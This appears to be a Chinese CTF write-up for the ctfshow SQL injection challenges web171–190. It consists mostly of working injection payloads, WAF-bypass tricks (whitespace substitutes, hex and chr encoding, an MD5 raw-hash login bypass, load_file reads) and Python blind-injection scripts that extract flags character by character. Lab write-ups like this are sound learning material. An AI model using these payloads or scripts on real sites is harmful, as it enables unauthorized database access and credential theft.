web171
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
三栏一眼丁真,直接内容拼入即可。
-1' union select 1,2,database() --+
查询库名:
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
information_schema,test,mysql,performance_schema,ctfshow_web
查询表名:
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
ctfshow_user
查询字段
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+
id,username,password
三栏直接输出三种:
-1' union select id,username,password from ctfshow_web.ctfshow_user --+
当然 sqlmap也是可以的。直接开注入
web172
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
现实位置变为了两个。
通过上题的数据库结构可以直接出payload
-1' union select 1,password from ctfshow_web.ctfshow_user2 --+
web173
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
一样payload
-1' union select 1,2,password from ctfshow_web.ctfshow_user3 --+
web174、web175
说是考的基础,那么就一步一步来。
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}
有返回过滤了。
174、175怎么输入什么都提示错误。
web176
大小写绕过过滤
简单过滤,大小写就能绕过过滤。
-1' uNion SeLeCt 1,2,password from ctfshow_user --+
web177
/**/、%09、%0a-%d绕过空格过滤
https://blog.csdn.net/acsuccess/article/details/69360931 绕过空格过滤
过滤了空格,把空格更换一下即可
以下是几种常见绕过过滤的方法。
- 注释绕过
/**/
- 括号绕过
select(user())from dual where(1=1)and(2=2)
除此之外要注意一下,上面几道题的payload中的+会被转义为空格,因此如果使用+就会出现无法查询的情况。
那么就要使用url转义来绕过空格。
比如:
- Tab > %09
- 换页符 > %0c
这两个都是可以的。
于是就可以得到payload:
?id=0'/**/union/**/select/**/id,username,password/**/from/**/ctfshow_user/**/--%09
web178
/**/、%09、%0a-%d绕过空格过滤
把/**/
过滤掉了那就只能使用上面两个转义符绕过了。
那就用%09
-1'%09union%09select%091,2,password%09from%09ctfshow_user%09--%09
注意,经过测试,%09
可以替换为%0a-%0d
均可以
web179
/**/、%09、%0a-%d绕过空格过滤
/**/
等都被过滤了,可以使用%0c和%0d绕过过滤。
-1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0c--%0c
web180-web182
过滤了所有的空白符号。
这里网上给的办法是直接去根据id直接查,其实也可以。
-1'||id=26||'
或者
-1'or(id=26)and''='
可以使用第二种这种将末尾的单引号闭合就可以不用注释符号了
web183
盲注
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
有两种payload。
[POST]PAYLOAD:
tableName=`ctfshow_user`where((substr(`pass`,1,8)regexp("ctfshow{")))
[POST]PAYLOAD:
tableName=(ctfshow_user)where(pass)like'ctfshow{%25'
这里分别解释一下两个语句:
regexp和like关键字 %和_标识符
第一个payload:
REGEXP 是 SQL 中的一个模式匹配操作符,它用于在字符串中查找与给定的正则表达式匹配的子串。
第二个paylaod:
LIKE操作符使用字符串匹配模式来比较列的值,常见的模式匹配特殊字符是 % (百分号) 和 _ (下划线)。
‘aa%’:这是一个用于匹配的模式。在这个例子中,’aa%’表示以”aa”开头的任意字符或字符串。%是LIKE操作符的通配符,代表任意数量的字符(包括零个字符)。
也就是匹配aabbs
当我们使用 LIKE 操作符和下划线 _ 结合时,它表示匹配单个字符的任意位置,类似于通配符?
也就是匹配aab
这里使用py写脚本。
第一种:
# -*- encoding: utf-8 -*-
"""
@File : SQL盲注.py
@Contact : 2997453446@qq.com
@Blog : natro92.github.io
@Modify Time @Author @Version @Desciption
------------ ------- -------- -----------
2023/7/10 17:49 natro92 1.0 None
"""
import requests
import string
url = r'http://0d89238a-2c87-4371-b427-2670ebb10351.challenge.ctf.show/select-waf.php'
str = r'0123456789-abcdefghijklmnopqrstuvwxyz}'
flag_pre = 'ctfshow{'
payload = "(ctfshow_user)where(pass)regexp'{}'"
i = 0
key = 0
while(1):
if key == 1:
break
print(i)
i = i + 1
for j in str:
data = {
'tableName': payload.format(flag_pre + j)
}
r = requests.post(url, data=data)
if '$user_count = 1' in r.text:
flag_pre += j
print(flag_pre)
if j == '}':
key = 1
第二种:
# -*- encoding: utf-8 -*-
"""
@File : SQL盲注.py
@Contact : 2997453446@qq.com
@Blog : natro92.github.io
@Modify Time @Author @Version @Desciption
------------ ------- -------- -----------
2023/7/10 17:49 natro92 1.0 None
"""
import requests
import string
url = r'http://0d89238a-2c87-4371-b427-2670ebb10351.challenge.ctf.show/select-waf.php'
str = r'0123456789-abcdefghijklmnopqrstuvwxyz}'
flag_pre = 'ctfshow{'
payload = '(ctfshow_user)where(pass)like"{}%"'
i = 0
key = 0
while(1):
if key == 1:
break
print(i)
i = i + 1
for j in str:
data = {
'tableName': payload.format(flag_pre + j)
}
r = requests.post(url, data=data)
if 'count = 1' in r.text:
flag_pre += j
print(flag_pre)
if j == '}':
key = 1
web184
右连接
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
什么是右连接
SQL 中的右连接(Right Join)用于将两个表按照指定的列进行连接,并返回右侧表中所有行及其与左侧表中匹配行的列值,如果左侧表中没有匹配的行,则返回 NULL 值。
比如:
SELECT columns
FROM table1
RIGHT JOIN table2
ON table1.column = table2.column;
比如:
SELECT students.name, scores.score
FROM students
RIGHT JOIN scores
ON students.id = scores.student_id;
在这个例子中,我们使用 RIGHT JOIN 将 scores 表右连接到 students 表上,按照 students.id 和 scores.student_id 进行连接,查询学生姓名和对应的成绩。如果 scores 表中没有匹配的行,则返回 NULL 值。
因此这道题里面就可以使用如下payload:
tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686f7725
0x63746673686f7725
是ctfshow%的十六进制编码
python中可以使用以下代码实现转换为十六进制:
import binascii
print(binascii.b2a_hex(str('ctfshow%').encode()).decode().replace("b'", '').replace("'", ""))
然后就可以写脚本:
# -*- encoding: utf-8 -*-
"""
@File : SQL盲注2.py
@Contact : 2997453446@qq.com
@Blog : natro92.github.io
@Modify Time @Author @Version @Desciption
------------ ------- -------- -----------
2023/7/10 19:49 natro92 1.0 None
"""
import requests
import string
import binascii
def _2hex(s):
"""
:param s: 需要转为十六进制的字符串
:return: 十六进制结果
"""
return binascii.b2a_hex(s.encode()).decode().replace("b'", '').replace("'", "")
url = r'http://303b0ea1-6fc8-4947-9730-47d85b4a3c1c.challenge.ctf.show/select-waf.php'
str = r'0123456789abcdefghijklmnopqrstuvwxyz-}'
flag_pre = 'ctfshow{'
payload = "ctfshow_user as a right join ctfshow_user as b on b.pass like {}"
i = 0
key = 0
while (1):
if key == 1:
break
print(i)
i += 1
for j in str:
data = {
'tableName': payload.format('0x' + _2hex(flag_pre + j + "%"))
}
r = requests.post(url, data=data)
if '$user_count = 43' in r.text:
flag_pre += j
print(flag_pre)
if j == '}':
key = 1
注意,判断条件的43是使用payload所知道的。
此外,还可以使用如下payload:
tableName=ctfshow_user group by pass having pass like 0x63746673686f7725
group by和having关键字
HAVING 是 SQL 中用于对分组后的结果进行筛选的关键字。它通常与 GROUP BY 关键字一起使用,用于对分组后的结果进行聚合计算和筛选。
比如:
SELECT student, AVG(score) AS avg_score
FROM scores
GROUP BY student
HAVING avg_score >= 90;
HAVING pass LIKE 0x63746673686f7725
对分组后的结果进行筛选,只返回 pass 列中包含字符串 0x63746673686f7725
的分组。
这里就不写脚本了,注意所对应的条件是返回中存在$user_count = 1
web185、web186
使用true关键字等来绕过数字过滤 chr函数
数字被过滤了。
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
true关键字再mysql中等价为1,也就是可以true+true=2,因此可以由此构造出任何数字。
因此我们可以字符串->转为十进制数字->chr和concat函数拼接合成为payload中的需要字符串。
脚本如下:
# -*- encoding: utf-8 -*-
"""
@File : SQL盲注3.py
@Contact : 2997453446@qq.com
@Blog : natro92.github.io
@Modify Time @Author @Version @Desciption
------------ ------- -------- -----------
2023/7/10 20:16 natro92 1.0 None
"""
import requests
import string
import binascii
# 将数字转换为true相加
def num2True(num):
a = 'true'
if num != 1:
for i in range(num - 1):
a += '+true'
return a
# 将文本转换为concat和chr函数结合的格式
# 比如:aa -> chr(一大堆true相加),chr(又一大堆true相加)
def change_style(s):
str1 = ''
str1 += 'chr(' + num2True(ord(s[0])) + ')'
for i in s[1:]:
str1 += ',chr(' + num2True(ord(i)) + ')'
return str1
url = r'http://76c1b9c5-22be-4d38-8e83-4cdf71d2b93a.challenge.ctf.show/select-waf.php'
str = r'0123456789abcdefghijklmnopqrstuvwxyz-}'
flag_pre = 'ctfshow{'
payload = "ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({}))"
i = 0
key = 0
while (1):
if key == 1:
break
print(i)
i += 1
for j in str:
data = {
'tableName': payload.format(change_style(flag_pre + j + '%'))
}
r = requests.post(url, data=data)
if '$user_count = 43' in r.text:
flag_pre += j
print(flag_pre)
if j == '}':
key = 1
注意
不止有true可以生成任意数字,以下几个函数也可以:
ceil() floor() true version() pi()
web187
绕过sqlMD5加密的万能串ffifdyop
用MD5加密密码,ffifdyop
正好可以得到'or'6�]��!r,��b
也就达到了绕过的目的。
注意flag在返回包中。
web188
弱比较 sql中||等价于or
//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}
flag为字符串,字符串的intval永远为0.因此传入0即可。username=1||1&password=0
*web189
布尔盲注 if load_file locate
提示里有说:
flag在api/index.php文件中
那么这里就需要盲注来解决。
mysql导入外部文件查询。
- load_file(path)导入文件
- locate(substr,str)获取匹配到的字符串位置
这道题的payload就是:
if(locate("ctfshow{",' + 'load_file("/var/www/html/api/index.php"))>这里是位置,0,1)
让我们看看gpt怎么说
如果 ‘ctfshow{‘ 在 “/var/www/html/api/index.php” 文件的内容中存在,并且位置大于 1(即找到了),那么条件表达式 locate(“ctfshow{“,’ + ‘load_file(“/var/www/html/api/index.php”))>1 将返回真,进入条件为真的分支,即返回 0。
接下来就是写脚本。
这个脚本最开始每太想出来怎么写,看了下大佬们的wp,才明白。这里会将wp中的脚本也列举出来。
脚本的思路就是,先搜索到flag的位置,然后一步一步给他读出来。
盲注需要找到回显的地方。
可以注意到,密码为0时,当账号为0,返回的是密码错误
当账号为1时,返回的是查询失败
勾吧,payload测试一半不能用了,以为是写错了,重启靶场就好了。
用下面这个来看是什么字符
if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),0,1)
勾吧题, wp很好理解,脚本写了三个小时整。
6点48开始写 9点48才写完。太抽象了
python基础太差了,就这还是照着wp的解法写的。
# -*- encoding: utf-8 -*-
"""
@File : SQL布尔盲注.py
@Contact : 2997453446@qq.com
@Blog : natro92.github.io
@Modify Time @Author @Version @Desciption
------------ ------- -------- -----------
2023/7/11 18:48 natro92 1.0 None
"""
import string
import requests
url = r'http://2daeac7e-8170-4826-9997-2b4a8a6ec9ca.challenge.ctf.show/api/'
flag_pre = 'ctfshow{'
str1 = "abcdefghijklmnopqr-stuvwxyz0123456789{<>$=,;_ }"
payload = ''
# 先找flag在哪:
def find_flag():
left = 0
right = 1000 # 这里根据实际情况进行修改
while left < right:
mid = (left + right) // 2 # //floor整除
data = {
'username': 'if(locate("' + flag_pre + '",load_file("/var/www/html/api/index.php"))>{},0,1)'.format(mid),
'password': '0'
}
r = requests.post(url, data=data)
if '密码错误' in r.json()['msg']:
left = mid + 1
else:
right = mid
return int(mid)
def get_flag(pos1, flag_pre1, stra):
pos1 += len(flag_pre1)+1
while 1:
for j in stra:
data = {
'username': "if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),0,1)".format(str(pos1), j),
'password': '0'
}
r = requests.post(url, data=data)
# print(data)
# print(r.json()['msg'])
if '密码错误' in r.json()['msg']:
flag_pre1 += j
pos1 += 1
break
if j == '}':
exit()
print(flag_pre1)
return flag_pre1
pos = find_flag()
print(get_flag(pos, flag_pre, str1))
注意
这里面payload是不能使用单引号的,单引号会导致前面闭合以至于不能够查询。要使用双引号。
web190
在查询语句里面加了单引号username = '{$username}'
不用读文件了,直接就读数据就可以。
payload:username=admin'||1||'
那就可以把上面那个payload去掉第一段方法。
找到布尔盲注构造位置:username=admin'and+0#&password=0
:
返回用户名不存在username=admin'and+1#&password=0
:
返回密码错误
由此编写脚本:(20min)
# -*- encoding: utf-8 -*-
"""
@File : SQL布尔盲注2.py
@Contact : 2997453446@qq.com
@Blog : natro92.github.io
@Modify Time @Author @Version @Desciption
------------ ------- -------- -----------
2023/7/11 22:02 natro92 1.0 None
"""
import string
import requests
url = r'http://96880f33-872c-4e26-9e91-a87d096bb6e2.challenge.ctf.show/api/'
flag_pre = 'ctfshow{'
str1 = "abcdefghijklmnopqrstuvwxyz0123456789{<>$=,;_ -}"
# payload = "admin'and+if(substr(database(),{},1)=('{}'),1,0)#"
payload = "admin'and+if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)=('{}'),1,0)#"
res = ''
for i in range(1,100):
for j in str1:
data = {
'username': payload.format(i, j),
'password': '0'
}
r = requests.post(url, data=data)
# print(data)
# print(r.json()['msg'])
if '密码错误' in r.json()['msg']:
res += j
print(res)
break
if j == '}':
exit()
分别修改payload参数可以得到需要的名称:
payload = "admin'and+if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)=('{}'),1,0)#"
ctfshow_fl0g,ctfshow_user
payload = "admin'and+if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1)=('{}'),1,0)#"
id,f1ag
# -*- encoding: utf-8 -*-
"""
@File : SQL布尔盲注2.py
@Contact : 2997453446@qq.com
@Blog : natro92.github.io
@Modify Time @Author @Version @Desciption
------------ ------- -------- -----------
2023/7/11 22:02 natro92 1.0 None
"""
import string
import requests
import time
url = r'http://96880f33-872c-4e26-9e91-a87d096bb6e2.challenge.ctf.show/api/'
flag_pre = 'ctfshow{'
str1 = "abcdefghijklmnopqrstuvwxyz0123456789{<>$=,;_ -}"
# payload = "admin'and+if(substr(database(),{},1)=('{}'),1,0)#"
# payload = "admin'and+if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1)=('{}'),1,0)#"
payload = "admin'and+if(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1)=('{}'),1,0)#"
res = ''
for i in range(1,100):
for j in str1:
data = {
'username': payload.format(i, j),
'password': '0'
}
r = requests.post(url, data=data)
# print(data)
# print(r.json()['msg'])
if '密码错误' in r.json()['msg']:
res += j
print(res)
break
time.sleep(0.3)
if j == '}':
exit()
总结
如果脚本编写异常,
print(data)
print(r.json()['msg'])
这俩玩应是非常有用的。
如果由于因为太快导致的json报错,可以手动加一行休眠
import time
time.sleep(0.3)
即可